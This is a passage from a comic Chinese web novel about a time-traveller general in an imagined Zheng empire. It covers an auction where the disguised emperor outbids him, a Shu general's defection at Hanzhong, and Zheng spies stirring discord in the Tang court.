眼看这狗东西还要骂,解二直接来了一记柯南抽射,一脚就把他的脑袋像踢足球一样踢歪,直接昏死了过去。 “统统带走!!” 看着这帮人被押走后,凌晨这才冷哼一声,面无表情的转身前往那个什么金玉阁。 刚才他是真想替聂无为的不肖子孙还了这笔钱,再让他打工给自己还债,把那坨烂泥扶上墙。老同僚去世,心情不好的他也懒得去计较蒲盛灵前冒犯的举动,赔个礼就过去了。 但这个逼养的居然找自己要利息! 而且还是高利贷!! 不送他去跟祖宗团聚,传出去还让人家以为统领十几万禁军的殿帅是泥捏的呢! 密码的! —— 金玉阁坐落在西市最繁华的商业区,这里汇聚了来自全天下的奇珍异宝,人们在这里交易、买卖、鉴赏、交流,当然也包括抵押和典当。 聂无为的二孙子还是可以的,虽然资质平庸,但起码还能当当事。凌晨叫解二把那个什么老大聂游之拉去城门分拣站锻炼身体后,就带着他来寻找聂无为生前最喜欢的文玩了。 “你叫……” “回侯爷,草民叫牧之。” 聂牧之??? 凌晨拉着聂牧之一起坐下后,看着这个比自己大三四岁的年轻人,内心感慨不已。 “你祖父与我早年相交,一起共事多年,他溘然长逝,我其实心里很不是滋味……你也不必称什么草民了,你我平辈相称即可。” 聂牧之听后也有些悲戚,默默的点了点头。 凌晨伸长脖子看着大堂里许多的买家,问道:“你祖父喜欢的是个什么东西?怎么流落到这里来的?” “唉……” 聂牧之幽幽的叹了一口气,无奈的说道:“说来也是家门不幸,真教人羞于启齿……长兄好赌好嫖,家中给的银两根本不够,就总是偷拿物件去换钱。 母亲的嫁妆、父亲的收藏、嫂子的嫁妆都被他挥霍一空,气的嫂子回了娘家。不仅如此,他还找我借银两,掏空我的后,实在无处可寻,就又盯上了祖父的。 那方玉生烟是江南徽州出产的砚台,说来也奇,一到阴雨天,那砚台的色泽竟会发生变化,磨出的墨也细腻无砂。是祖父偶然间从一唐国商人手中得到的,一直视若珍宝……” 又是徽州…… 提起徽州,凌晨不禁又想起那个四肢发达头脑简单的徐央和徽州军了。 要平定唐国,就一定要灭了徽州军。 可是从他的角度来看,那可是当今华夏最顶尖的军队之一啊!要是能够和平收编,无论是镇守江南,还是出征漠北或者东瀛,拓土开疆,都不比在内斗中鱼死网破、隐入尘烟的强? 打来打去,损失的都是汉家儿郎。 不过话又说回来了,聂家的大孙子,是真孙子啊! 不行,分拣干几天后再拉到印刷坊去,那小子不是喜欢夜不归宿吗?就让他好好倒几个月的夜班,保证让他后半辈子都自觉规律作息。 “下一件,是来自唐国徽州的一方宝砚。此物石质坚韧,纹理如肌,兼具涩不留笔,滑不拒墨的特点,利于护毫。以前是许昌县伯的掌中之宝,后来意外被本铺获得,起拍价五十两,上不封顶,有喜欢的官人相公们,可以出价了~” 随着小胡子的胖掌柜笑呵呵的介绍完,竞价开始了。 很无聊,凌晨对刀剑都不感兴趣,更别说什么破砚台了。要是有蓝胖子的任意门,能随时回到他自己的时代,那确实要好好整几个宝贝,老文的夜壶估计就挺值钱的。 可惜,大概率是回不去了。 宽大的大堂里分布着十几张八角桌椅,在座的基本都是官员勋贵,偶尔也有一两个富商巨贾,不管是真心喜欢还是附庸风雅,反正这对这方玉生烟感兴趣的人还挺多。 如果不是要稍微考虑一下影响,凌晨直接就找金玉阁背后的东家伸手要了,相信他一定会非常乐意白送给自己的。 好多人想送自己东西,自己还看不上呢~ 嚷来嚷去,最后喊到一千一百两的时候,没有人再加价了。 凌晨从恍惚中回过神来,单手撑腮,另一只手高高抬起:“一千两百。” “一千三百。” “一千四百。” “一千五百。” “两千。” “不论这位公子出多少,我家主人都加一百两。” 此言一出,大堂里顿时响起了窃窃私语的声音,聂牧之伸长脖子朝着竞价那人的方向张望,凌晨闭上眼睛,有些烦了。 怎么一天天的净遇到傻鸟? 他坐直身子,站起身来朝着喊价的那人座位走去。有时候真的不能太讲道理,权力偶尔的一次小小任性,也是很有必要的。 可是当他走到那人面前时,却愣住了。 一个精神矍铄的老叟,正一脸得意的瞧着自己。身旁的雄壮大汉看了一眼凌晨后,捂着嘴别过脸低下头去。 这个……还真任性不了。 老文这是怎么了?俗不俗啊?怎么还玩起微服私访这一套了?怎么越老越像小孩了。 堂堂一国之君,竟然跑到这鱼龙混杂的市井里,和一群平民百姓竞价,这是能得到什么快感还是咋滴? 最重要的是,他在这里,自己就不能装逼了! 真讨厌! 凌晨无语的撇了撇嘴,对着台上的胖掌柜说道:“我不要了。” “好~这位公子退出竞价,还有谁喜欢此宝,愿意解囊收入吗?” 凌晨在一身员外便服的老文身边坐了下来,他倒真希望此刻杀出一位愣头青,挫一挫他的锐气。看把丫得意的,满面红光的扫视全场,用睥睨的眼神目空一切…… 最终,这方砚台被小厮恭恭敬敬的双手捧着端了过来,何关走上前去拦住,从他手中接过来后放在了桌子上。 老文单手枕着桌面,饶有兴趣的向凌晨问道:“你很想要?” “嗯,这是臣…我的旧僚聂无为的遗物,我想替他拿回来,物归原主。如果可以的话,随他一起下葬也……我失言了。” 老文呵呵一笑,随手就将这方砚台拨到了凌晨面前:“我说呢,很少见你对一些俗物感兴趣,原来还有这段渊源在里面。聂无为……我有些印象,是个踏实做事的。这些事情都是吏部和礼部处理的,我竟不知……” “您日理万机,这种小事不知道也是正常的。这是聂无为的二孙子,您今天也算是帮他物归原主了。” 凌晨说着就把砚台接了过来,拿起来放在聂牧之手中,对他使了个眼色。 聂牧之只当凌晨是让他感谢一下眼前的这位老者,正要抬手弯腰行礼。凌晨眼前一黑,只能朝着他腿弯处一脚,把他踢的跪了下来。 这一脚把聂牧之踢懵了,侯爷这是什么意…… 等等, 侯爷是殿帅,能让殿帅尊称为“您”的…… 怕是只有当朝右相和太子殿下、皇后娘娘了。 太子殿下年龄对不上,皇后娘娘性别对不上,右相……前段时间才听说殿帅跟他打了一架,再次遇见应该不会这么和睦,那还有谁…… 嘶——!! 聂牧之的双眼顿时瞪的老大,震惊的看了一眼背对着自己的老叟,年龄、性别、再结合他对侯爷说话的语气…… “草……草民见……见过……” “起来吧,既然是你祖父的遗物,就拿回去好生保管,或是作为陪葬之物一同入土吧。唉,又走了一个,尘归尘、土归土哇~” 聂牧之紧张的浑身战栗着站起身子,抿了抿嘴唇后,鼓起勇气说道: “祖父早年经历坎坷,一直蹉跎岁月,直到追随当今陛下,方才一展抱负,不负生平所学和满腔热血,可谓死得其所。如今更是借尊驾之手,旧物新归,恰逢圣主明时,想来也无憾了。” 听到这话后,文训缓缓扭动脖子,瞥了一眼双手还在颤抖,面色却平静如常的聂牧之,摇着头呵呵笑了。 “可有功名?” “刚举了孝廉,春闱也去试了,名次居中,不上不下……” 嗯? 能靠家里举孝廉,还要跑去科考,说明还是有点上进心和心气的嘛~ “哎,我记得上林苑往吏部分的名额中,好像还缺几个吧?” 凌晨连忙点头接话道:“好像是的,上次和右相还没动手前,闲聊时提到过一嘴。” 文训点着头对聂牧之说道:“那你就去右相府邸拜谒一下,就说是颜公说的,他会见你的。” 聂牧之连忙又再次跪了下来:“臣…我知道了,谢尊驾厚恩~” 文训无所谓的抬手叫他起来后,笑着看向凌晨:“不知这样安排,殿帅可还满意?” 凌晨愣了一下,随即笑道:“非常满意,改天我请大人喝酒。” 文训听得也是一愣,随即旁若无人的放声大笑起来—— “哈哈哈哈哈哈哈~~” 第156章 双喜临门 老文的精神头明显比以前好多了,应该是从心理阴影中走了出来,接受了这个世界太疯狂、耗子都给猫当伴娘的现实。 况且他也不得不接受,二儿子和大老婆的所作所为已经成了既定事实,哪怕他是皇帝,也无法改变结局。难不成还能让时光倒流回2018年的那个夏天不成? 这里不是红警,没有超时空转换器。 现在只要不是文若也急着继承家业,应该没有什么事情能够再次影响到他的心神。哪怕是李雄率兵打到开封城下,他也能从容面对,兵来将挡、水来土掩。 真正的强者不是长胜无敌,而是输得起,承受的了失败的打击,并且永远都有重头再来的勇气和信心。 再说了,以文若的心性和政治头脑,应该不会蠢到急不可耐。他现在只要按时上下班,工作的时候多听少说、把活交给下面的人去干,那把至高无上的龙椅,就一定是他的。 唯一有威胁的二弟被关在家里面壁思过,其他庶出的弟弟们,无论是能力还是威望还是年龄还是武艺,都不是他的一合之敌。 军中、朝堂、地方,放眼望去全是自己的小弟。江淮勋贵有三分之一是他的直属旧部;整个关陇集团都是他小舅子的马仔;中原最强的颍川士族,其领袖冯延正是自己的坚定支持者;嫡长子的身份更是名正言顺、不可撼动。 掌控京师军权的凌晨和自己睡过一张床,深受凌晨影响的王臣鹤也是早年旧交。就算是有些分歧的河北贵族群体,像吕齐、崔赦这样的隐藏储备电量也大有人在。 自己家这边每个分路都能一打五,只要不是手贱去发起投降,结局根本毫无悬念好吧~ 儿孙琐事由他去,老文的处世风格也从严谨了一辈子的端庄稳重,变成了老顽童式的斗鸡遛狗。经常微服私访,在汴京城里装逼打脸、给有缘人天降横财,并以此为乐。 甚至还偷偷跑到望云游乐城里赛过猪。 打了一辈子的仗,也该想享受享受了,只要他能开心,活出年轻、活出自我,就爱干嘛干嘛去吧~ 大郑帝国的政治机器经过这两年的磨合和运转,已经趋于成熟,很多事情都可以按部就班的依照流程解决。皇帝偶尔旷两天工,问题不大。 至于史官么…… 陛下微服私访、体察民情,从细微处去了解底层民众的生活困难和真实需求,难道不正是一种勤政爱民、身体力行的表现吗? 再多逼逼,哪天进门先迈左脚扣你俸禄嗷~ 虽然常言道“福无双至、祸不单行”,但有时候也会有“双喜临门”、“好事成双”,就比如现在,当大郑君臣都在悠闲的夏日消暑、树下纳凉时,远方传来了更加清爽的消息: 孟蜀的汉中分公司总经理——赵成义,背着他的老板偷偷向大郑集团有限责任公司递交了一份简历,表达了自己想要谋求更好的个人发展、向往大厂的福利待遇、想要混个正统编制的美好愿望。 这里就不得不提一个非常有意思的现象了。 打开现代中国地图,我们会发现每个省份的边界划分的犬牙交错,有些甚至奇形怪状,让人感觉到匪夷所思、难以理解。 徐州无论是离济南还是郑州都很近,怎么把首府给干到南京去了? 重庆和四川明明互相挨着,为什么对火锅的吃法还持有不同的意见和想法? 襄阳和南阳为什么要分成两个省份?距离武汉郑州那么远,干嘛不独立建省? 但是,如果我们看的不是平面图,而是地形图,那么这种疑惑就不复存在了,原因一目了然,豁然开朗。 甘肃的庆阳不会划给陕西,陇南不会划给四川。 陕西的汉中不会划给四川,四川的攀枝花也不会划给云南。 青藏高原要分别划给西藏、青海、四川和云南。 东北地区要分别划给黑龙江、吉林、辽宁和内蒙古。 千年龙虎地、一代帝王乡的淮海地区,不可能独立建省,而是被山东、河南、安徽、江苏分别管理。 每个地区的战略要地或者咽喉通道,都不会握在自己手中,以免形成封闭的地理单元,造成割据局面的出现。 这是老祖宗在两千年的历史演变中,经历了无数次血与火、汗与泪的教训,才总结出来的政治智慧与军事经验。 汉中和巴蜀,自古就被称为东西二川,两者在饮食口味、地方风俗、生活习惯中更为接近。最重要的是,汉中和西川一样,是一片较为独立的封闭地理单元。 这里四周都是崇山峻岭,随便在山谷里修起一道城墙,就是一夫当关、万夫莫开的局面。其中比较著名的景点有定军山、阳平关、汉水等等等等。 这些险峻关隘中间包裹着平坦开阔的万亩良田,人们在这里种稻植桑、耕田织布、鸡犬相闻、渔樵闲话,完全是自给自足的“桃花源promax版”。 吃饱喝足后,在家里躺的无聊了,也可以尝试着出门实现一下自我人生价值,反正我家高墙大院进可攻,退可守。外部势力如果没有充足的军事准备和绝对的实力碾压,根本别想吃下。 孟玄的爷爷在早年间,用包括但不限于暗杀、联姻、策反二五仔、收买贪财好色的守关将领、煽动汉中士绅内部争权夺利等各种手段,再配以兵临城下,竭尽全力才将汉中收入囊中。 如此一来,本就易守难攻的汉中,就成了更加易守难攻的巴蜀地区外部屏障。老孟家可以随时对陇右、关中和上庸地区发起攻击,赢了就是赚到,输了也不怕放学后被堵进小巷子里。 再说了,除了当年的关中节度使韩珏,谁特么横的过我们老孟家? 也正是凭借着这种山川之利,孟玄才有底气率领大军东出江陵,跟李雄争夺江汉平原的市场份额。 但现在时代变了,北方出了个文教言,凡是想要跟他比划两下子的,不是入土为安了,就是被赶到偏远地区怀疑人生了。 而且,他还在关中和南阳布置了一群年轻力壮的小伙子,每天也不去找个班上,就知道聚在一起瞎晃悠、立在路边踢石子,偶尔还朝着富饶的天府之国假装不经意的偷瞄。 像极了想要吸引女孩注意、朝他们看过来的黄毛。 并且据可靠资料显示,这样的黄毛,有十二万三千六百五十七个。 外部压力是一方面,内部矛盾又是另一方面。 统一稳定的孟氏蜀国,尽全力都不一定能干的过这群黄毛,南边的大理和牂牁蛮这个时候还在闹事,蜀军精锐尽出,忙着四处灭火。 如果这个时候大郑真的有所动作,汉中人民大概率是要独自面对人家的北路军了。 既然毫无胜算,不如早点下班。 与其逼自己一把,不如放自己一马。 蜀国汉中节略、镇北将军赵成义,今年四十多岁了。能从一众川蜀将领和朝臣中脱颖而出,爬到这个位置,足以说明他是一个非常成熟的政治家和军事家。 他从现实角度出发考虑,发现和大郑军队正面开战胜算真的不大,哪怕侥幸能挡住一波进攻,下次只会迎来更加猛烈的狂风暴雨。 从个人发展考虑,他也不得不另谋出路了。 孟玄最近不知道是压力太大了还是怎么滴,居然开始听信身边一个太监的鬼话,对自己的忠诚有所怀疑。 他要求自己把全家老小搬去成都居住,美其名曰“汉中不安全”,意思是让自己一个人孤零零的留守南郑城,和家人分隔两地。 不仅如此,他还更换了剑门关、葭萌关的守关将领、以及汉中府乡军里的两个校尉。而且赵成义还在不经意间发现,自己府邸里的下人们最近也有点狗狗祟祟的。 emm…… 赵成义是孟玄父亲、蜀国上一任ceo的老伙计,从小一起光屁股玩到大的好兄弟,所以才能被委以重任,节制汉中各路兵马。 但父亲的朋友,不是我的朋友。 尤其是在影响孟玄职业生涯的那场吃鸡比赛中,赵成义既没有在游戏里帮孟玄封烟架枪、也没有在现实中拔掉其他竞争对手的网线,而是选择了作壁上观。 可能真的是压力太大了,也可能是现实与理想不符,努力后并没有达到预期的目标,影响了孟玄的政治头脑和理性判断。 当初刚刚走马上任时,他不顾朝臣反对,将战略方向改北上为东进,励精图治、锐意进取,让蜀国的军事威望和国家利益在短期内得到了巨大的提升。 那个时候的他,还真让其他地区的大佬们生出了忌惮之心。 但是自从北方统一、东进受阻后,他就像变了一个人似的,昏招不断,或者说有些急于求成,失去了政治家该有的耐心和信心。 先是有些独断专行的想要用军事力量逼迫牂牁蛮就范,吸纳消化他们的经济、人口红利。结果却招来了土司们的强烈抵抗。 后面又没有处理好和大理国的外交关系,也没有处理好自己的感情问题,惹来了老段家的滔天怒火。 在局面如此糟糕的情况下,竟然又不嫌事大的对经营汉中十几年的赵成义釜底抽薪,想要架空他,然后调换成自己的亲信。颇有一副病急乱投医的感觉。 一个人怎么能在这么短的时间内,发生如此巨大的变化呢?? 高洋和李存勖都没他这么快啊! 可能年轻的心太柔软,经不起风,经不起浪吧…… 没时间去共情孟玄了,既然同一个写字楼的优秀高管有跳槽的意向,手中还握着大量客户资源,这谁能不心动? 大郑帝国中书门下的文书和礼部衙门的官员接连不断的从汴京赶往南郑,丝毫不嫌弃夏日炎炎和车马颠簸,眼中只有对kpi的狂热渴望。 赵先生这样的行业精英,正是我们大郑所急需的优秀人才,有什么要求你就尽管提吧!哪怕你有一些特殊的小癖好,我们的使者中愿意为艺术和梦想献身的也大有人在,不要客气,大胆的提!! 当大郑使者真的出现在自己面前时,赵成义又犹豫了。 先帝对自己……不薄啊! 如果不是孟玄这小子一天一个想法,宠信宦官之言要对自己和家人动手,赵成义还真不想做背主求荣的二五仔,他也要脸啊! 可是…… 唉! 夜深人静的时候,辗转反侧难以入睡的赵成义披着衣服,立在自家庭院下,望着天空中被云层遮蔽住的月光,不住的叹气。 但也没叹多久。 大郑的使者可不是来吃饭喝酒的,请进来容易,要送走就难了。如今箭在弦上,赵成义要是敢不发,他们能原地爆炸! 先狂喊两句“赵成义有二心就算了还优柔寡断、背信弃义”,然后原地助跑起跳、直接一头栽进他家院子里的水缸中,给他表演个人形倒插葱。 这样一来,赵成义有反心的事传出去,孟玄肯定是不能容他了。杀害大郑使者,你就看种平来不来找你吧! 这可不是开玩笑,这帮使者真的会这么干。 老子自打从娘胎里生出来,就没想过活着离开人世。 有什么话,跟我的彪炳史册和留名丹青说去吧! 当大郑使者们的脸色从笑意盈盈变为皱眉不语时,赵成义就知道,留给自己的时间不多了。 他们之中的有些人已经在自己家中四处打量,思考着该怎么死、死在哪里才能死的有创意,死的比其他同僚更吸引眼球,能被汴京时报大书特书了…… 仰天长叹了三声后,赵成义撅起嘴,无奈的说道: “那就……反了吧~” 一夜之间,天地巨变!! 青桥驿、褒城、南郑、汉阴、上庸各地都出现了大量携带兵器的武装暴徒,疑似是附近山区里的盗贼山匪。汉中节略赵成义率兵四处剿匪,短短五天时间内就将这六千多名贼寇杀了个干干净净! 街头巷陌、田间地野到处都是穿着制式军甲的贼寇尸体,和当年菲律宾首都马尼拉街头的一千多名毒贩有着异曲同工之妙。 虽然不知道哪座山寨这么牛逼,竟然能容纳下六千名贼寇!但既然赵节略说是,那就是吧。 你有不同的意见吗?(微笑脸) 做完这一切后,三万汉中乡军剑锋一转,从北方调往南方,驻扎在了葭萌关北边的险峻山谷中。 大郑关中知府、长安太守、西部行营都部署种平,亲自率领六万大军穿过茫茫秦岭,进驻在了南郑城,正式接管东川防务。 大郑皇帝陛下亲笔题旨,册封弃暗投明、归顺天命的赵成义为阳平侯、汉中知府,赐银两万两、金五百两、绸缎百匹,特准其家人不必入京居住。 反正他也不可能再回到孟玄的怀抱了,不需要拿人质去制衡他。况且种平的六万虎狼已经进入了汉中地区,只要赵成义脑子没有进水,就绝对不敢反复横跳。 这么一来,老文的心情更加愉悦了。 上兵伐谋、其次伐交、其次伐兵、其下攻城。 人在家中坐,兵不血刃的得到了一块战略要地、以及三万名战斗力还不错的年轻壮小伙,这跟天上掉下来一大块狗头金砸在自家院子里有什么区别? 果然人还是要多笑一笑,爱笑的老头运气不会差! 笑口常开,好彩自然来~ 他是笑了,孟玄哭了。 这位年轻的帝王都有些怀疑自己了,怎么搞来搞去,搞成了这个样子?? 文训都没有动一兵一卒,仅仅靠着那帮使者的三寸不烂之舌,就让自己的地盘缩水了将近三分之一! 牂牁蛮就算了,反了就反了吧,反正以前也只是名义上的归顺,得之我幸,失之我命。 至于大理么……虽然有点心虚,但没关系,他们的作战能力不如蜀军,找个机会揍一顿就老实了。 可是汉中不一样啊!! 失去了汉中这块战略缓冲的要地,郑军随时都有可能模仿当年的放牛娃邓艾,指不定哪天就会从哪个猴子都爬不上去的悬崖峭壁上跳下来,出现在锦官城外! 孟玄强迫自己冷静下来,不能再这样搞下去了,面子哪有命重要,该怂还得怂。 于是,他忍气吞声的屈尊降贵,派使者前往牂牁蛮所在的山寨深林中,给他们带去了丝滑柔软的蜀锦、甘醇绵长的美酒、精细白皙的井盐、肥美硕大的嘉陵江鱼。 哥几个,以前是我太狂了,跟大家说话有些不注意语气和措辞,咱们如今也已经打了好几架了,相信你们也累了。 男人嘛,平常生活压力大,偶尔切磋一下拳脚也是正常的,这点东西是我的一点意思,咱们就此打住,回归各自的生活,你们看怎么样? 主要是闹到大郑警察那里,对大家都不好不是? 牂牁蛮的土司首领们你看看我,我看看你,背着蜀国使者窃窃私语了一会后,转过身来异口同声的表示完全同意蜀皇陛下的提议。 但是, 你只带来这么点东西,够给谁分的?让别人知道了还以为我们穷的要死好收买,去,再去准备一份,一人一份!! 妈买…… 唉! 孟玄最终还是忍住了想要骂出口的脏话。没办法,眼下这种情况,主动权在人家手里,不出点血肯定是不行的,只能暂时先答应下来。 等这阵子缓过去了,一定找这帮龟儿子算账!! 第157章 无心插柳 孟玄的日子过得热热闹闹,李雄的日子自然也不会冷冷清清。汴京城里的那帮老头子们向来讲究中庸之道和一碗水端平,所以绝对不会厚此薄彼。 比起蜀道险峻难行、气候潮湿闷热、沿路关卡还不好绕路,大郑的特工们更喜欢去诗情画意的烟雨江南出差,事情能不能成先不说,最起码公费旅游是真的爽! 而且这里水道纵横,只要学会了游泳撑蒿,哪里不能去?就算被唐国反间谍部门追捕,绝地求生起来也简单,随便哪条河里伸手一捞,就有鱼虾上钩,运气好还有王八呢~ 所以,进入唐国的细作人数,大概是蜀国的两倍半。在这种情况下,怎么可能平静如常? 比起孟玄的年轻气盛和心浮气躁,李雄就显得沉稳多了。 即使荆南的张照初和清泉节度使陈瑾公然给自己上眼药,跑到文训那里躲在他身后朝着自己做鬼脸“略略略~”,又是吐舌头又是拉眼皮的,他也一点都不生气。 真不生气,嗯……真的。 你俩就狐假虎威吧啊,等到大草原上混战结束或者寒冬来临,那帮草原靓仔们不得不南下贴秋膘的时候,文训肯定无暇南顾。 到那时,你看我整不整你俩就完了!! 气死老子了!! 李雄今年五十九了,跟文训是同龄人,二人相差也没有几岁,基本没有代沟。 双方也是别扭了一辈子的老对手,从大周打到了大郑。虽然从来没有见过面,但双方都知道对方就在长江对岸,心里一直记挂彼此。 尽管呼吸着同一片天空的空气,却始终无法见上一面,怎么不让人遗憾呢? 尽管在感情上惺惺相惜,但在现实生活中,文训从来没有停止过把这位老朋友送去见西天如来佛祖的尝试,至于为什么是如来佛祖,那当然是因为李雄信佛咯~ 这哥们还给自己起了个法名,叫做慧觉。堂堂一国之君,竟然在姑苏府的寒山寺做了记名俗家弟子,简直是荒谬至极! 顺便一提,寒山寺始建于南朝梁朝时期,最开始叫枫桥寺,本来只是江南地区万千庙宇中非常普通的一座寺观。 但是,但是, 时间来到唐朝,有个叫张继的忧郁富二代,在旅行途中写了一首诗,叫做《枫桥夜泊》。 月落乌啼霜满天,江枫渔火对愁眠。 姑苏城外寒山寺,夜半钟声到客船。 由于他写的实在太好了,引得无数文人墨客读之神往,都想亲眼一睹这座笼罩在江南烟雨中的释家经场,所以寒山寺从此声名鹊起,一跃成为名动九州的天下法寺之一。 言归正传,上有所好,下必甚焉。皇帝陛下喜欢佛说,底下的人当然也要好好研究研究古藏经书。 不然万一哪天陛下来了兴致,和大家闲聊时讨论起了佛法,人家都能聊的滔滔不绝的对答,最不济也能胡诌几句。可是到你这里却半天哼不出个所以然来,只能来一句“阿弥陀佛”。 尴不尴尬? 还想不想进步了? 在这样的背景下,江南地区的佛寺在李雄接过权柄后,如同雨后春笋一般生长了出来。 南朝四百八十寺,多少楼台烟雨中。 由于佛家主张轮回观念、因果报应和前世今生,非常有利于缓解统治者对底层民众压迫剥削而造成的反抗心理,对于维持社会稳定起到了一定的作用,所以唐国从上到下都是比较尊崇佛文化的。 当然了,也不是所有人都会随大流,唐国上层统治阶级中就有两个人公然表示自己不信佛。 一个是唐国的国之柱石、阻止中原王朝南下金陵的人形天堑——温茂。 他只信自己手中的军队。 另一个是李雄的亲儿子、一向籍籍无名且不怎么受到关注八皇子——李嘉。 他是个无神论者。 自从上次大郑使者向唐国太子李岐深情表白,对方没有答应也没有拒绝后,太子东宫附近就多了很多奇奇怪怪的人。 他们口音不同、相貌不同、职业不同,甚至东宫府的护卫们也知道这帮人不是唐国人,但却一点也不担心太子殿下的安保问题。 因为这群人比任何人都希望太子殿下健健康康的、精神饱满的、阳光开朗的去向昏聩年迈的陛下发起挑战。 我们都知道,鳄鱼当年是一位正义、高贵的战士,和哥哥狗头一起并肩作战,甚至为了恕瑞玛的和平安宁,不惜牺牲自己的生命和自由,抱着泽拉斯一起被封印在帝王之墓。 可是当他出来以后,第一个念头就是去砍了狗头。 因为在泽拉斯这个碎嘴子在他耳边唠叨了上千年,一直在挑拨离间他们兄弟俩的关系。 “呆在这里无聊吧?闷吧?你哥这会在外面不知道怎么潇洒呢~” “哎你说,当时你哥为啥不进来拉着我,让你在外面封印我们呢?” “你说有没有可能,是你被你哥给忽悠了啊?哦……也不一定哈,可能是不小心的,毕竟你们是兄弟嘛~” “啧……可我怎么记得他当时好像故意退后了一步,你仔细想想有没有这事?” “没事,反正你们是兄弟嘛,谁进来不都是一样的~” “唉!你别怪我说话直嗷,我还是有点替你感到不值……” …… 大郑的细作使者们虽然没有泽拉斯的魔法干扰,也没有上千年的时间去熏陶,但他们人多啊! 三人还能成虎呢,更何况是上百人轮番上阵,日日夜夜的熬磨!先不说他们的目的如何,能这么不畏生死、持之以恒、锲而不舍的求见李岐,这种行为本身就已经很让人动容了好吧! 李岐开始好奇,究竟是什么动力驱使着他们这么拼呢?他们就不怕死么?不怕白费口舌么? 嗯……我自己内心清楚这帮大郑细作的离间目的,所以我是不会上当的,但跟他们聊聊天说说话,应该也没什么关系吧? 就随便聊聊,只要我不愿意,他们还能用言语支配我不成? 于是,几个月的交流下来,李岐越来越觉得父亲的那张脸好像有点讨厌了。 十八年的太子,十八年!!! 他还给其他弟弟们封王开府、让他们进入朝廷做事、甚至是去军中历练!还美其名曰是为了锻炼他们,以后好辅佐我。我看是为了给他们积攒足够的威望和资本,以后好跟我叫板吧!! 你老糊涂了?!! 李岐只是主要目标,并不是唯一目标。其他各位实权王爷以及背后有大家族支持的皇子们,也都收到了大郑细作们不同程度的思想侵蚀。虽然这期间死了不少人,但还是有那么几个成功了。 一场颜色革命(古代版)正在唐国上空慢慢酝酿,渐渐凝结成了厚重的黑云,只待一声惊雷响起,随之而来的便是瓢泼大雨! 除了对皇家的继承者们进行传销洗脑外,大郑特工们还对于那些仕途不顺的倒霉蛋、奸佞圆滑的墙头草、受罪牵连的无辜躺枪者、以及许许多多对大唐国策不理解、不支持、不满意的各色人群都进行了友好的交流,花钱花时间陪伴着他们,争取成为他们的知己。 然后,说出那句经典名言——我总觉得,我们的生活不应该是这样子的。 当然了,要么不做,要么就做绝。 游走在江南地区的大郑细作们很忙,又要勘查地形、又要结交朋友、又要探听消息,又要查访民情,忙的不亦乐乎,因为经费管够。 你直接拉住一个唐国人说:李雄是个王八蛋。他会毫不犹豫的往你鼻子上一拳,高声喊人去报官,不带一丝犹豫的把你送进大牢里给县衙冲业绩。 但如果你热心的帮忙给他重病的妻子买包药,免费教他流鼻涕的儿子认几个字、在他一个人狼狈行路、车辆陷进泥土中的时候上去搭把手、大雨滂沱的窘迫时刻邀请伞下同行。 不用你开口,他会自己说李雄不是个好东西。 以愚公移山的态度、对唐国人民进行全阶级、全地域、全职业、全天候、十二个时辰不间断的渗透和腐蚀。细作们轮休上岗、人可以歇、任务不能停,全方位无死角的进行思想宣传教育。 由于业绩优秀者可以得到老文的亲自接见和共进晚餐,所以这帮细作们越来越疯狂,越来越大胆了。 甚至有个家伙觉得,反正都是冒着掉脑袋的风险策反和煽动唐国人,那还不如梭哈一把大的,我直接去说服李雄率滨归王不就得了? 要么就不干,要么就干票大的,虽然成功的概率可能还不足万分之一,但只要不是绝对没有可能,何妨一试呢? 大丈夫处世,碌碌无为,与朽木腐草何异?人死鸟朝天,不死万万年,烂命一条就是干!! 万一成功了,老子怕是要万古留名哦~ 得亏他的同僚和上级发现的及时,在这个大聪明即将和金陵皇宫的卫士眼神交汇之前,把他捂住嘴给拖了回来,这才没有让他去白白送死。 在这场轰轰烈烈的地下渗透中,有一名来自陇右秦州郡的细作,叫做阎改之。 由于同僚们都已经划分好了工作范围和服务对象,他作为第三期细作练习生,千里迢迢从陇右来到金陵后,却发现自己无事可做,无人可攻略,连轮班表都已经排满了。 嗯…… 那就拉倒吧,不行就当跑来南方旅游了,晃荡两个月没啥功劳的话,就回长安再托人谋个差事,娶老婆生娃,好好过自己的安稳日子。 功名? 人生短短三万天,能过一天是一天吧~ 于是,他心安理得的拿着大郑朝廷的公费,骑上心爱的小毛驴,开始了自己的江南自驾游。 听了古刹钟声、看了朦胧烟雨、上了秦淮画舫、题了临江诗楼、赏了渔火晚照、喝了会稽黄酒。 我是来享受生活的,不是来当牛马的。 可能是他的行为确实有点逆天,连老天爷都看不下去了,于是便安排这条咸鱼跟另一条咸鱼,在栖霞山上的林间集会上偶然相遇了。 命运的齿轮开始转动。 大唐八皇子李嘉,和太子李岐是一母同胞的亲兄弟。有这个关系摆在这里,按理说想要结交和拜会他的人应该密如繁星、多如江鱼才对。 但是很可惜,这位皇子本人不信佛,但行为却很佛系,每天只知道喝酒赏花、吟诗作对,与山间野鹤为友,同林间松根作伴。对于朝堂和权力,没有一丝兴趣。 况且他前面除去夭折的,还有五个哥哥,轮也轮不到他好吧! 而且他还藐视佛门,跟老爹李雄公然唱反调,这就导致他非常不受宠。李雄甚至还有点嫌弃和讨厌他,而他自己也丝毫不在意父子关系。 有了也好,没了也行。活着挺好,死了也行。 这样的疯子,谁有病啊会去结交攀附他?反向上分吗? 就连此次负责渗透唐国的大郑细作头领们,也在经过仔细研究后,得出了一个结论:这是个没有价值的废案,甭费劲了。 与其接近他,还不如去接近金陵城闾左的乞丐,起码从乞丐那里还能套出点街头消息。 由于阎改之自己本身就是个摆烂仔,所以和同样是摆烂仔的李嘉一见如故,二人一起坐在草地上喝的烂醉,醉了后鬼哭狼嚎,吓得路过的樵夫还以为撞见鬼了。 李嘉不受宠到了什么地步?他醉酒后跟阎改之、还有两个只会去秦淮河的花船上泡妞的酒色之徒在山林里睡了一夜,都没有人来寻。 好歹也是个皇子啊!! 此事过后,李嘉顿觉遇到了知音,毕竟不是谁都能骑着一头毛驴行走在山水之间,兴致来了,也能狂浪放歌,醉后与星月共眠,不为功名所累的。 人在山巅,听鸟鸣树梢,观水落西涧,以江水为镜,自照自脸,偶尔也能赋诗一首,便是如神仙~ 他可真是太稀罕这个陇右来的阎改之了!真就直来直去、身上没有一点虚假气,有什么就说什么,毫无避讳和隐瞒,对方甚至连自己是大郑细作的事都毫不犹豫的抖了出来!! 若是言语不对了,任自己是唐国皇子,他也敢红着脸朦胧醉眼,指着鼻子破口大骂!不就是胎投的好么?神气什么?做得了朋友就做,做不了拉倒! 中二少年加酒友加驴友,二人的感情迅速升温,甚至超过了李嘉原本的那两个狐朋狗友。 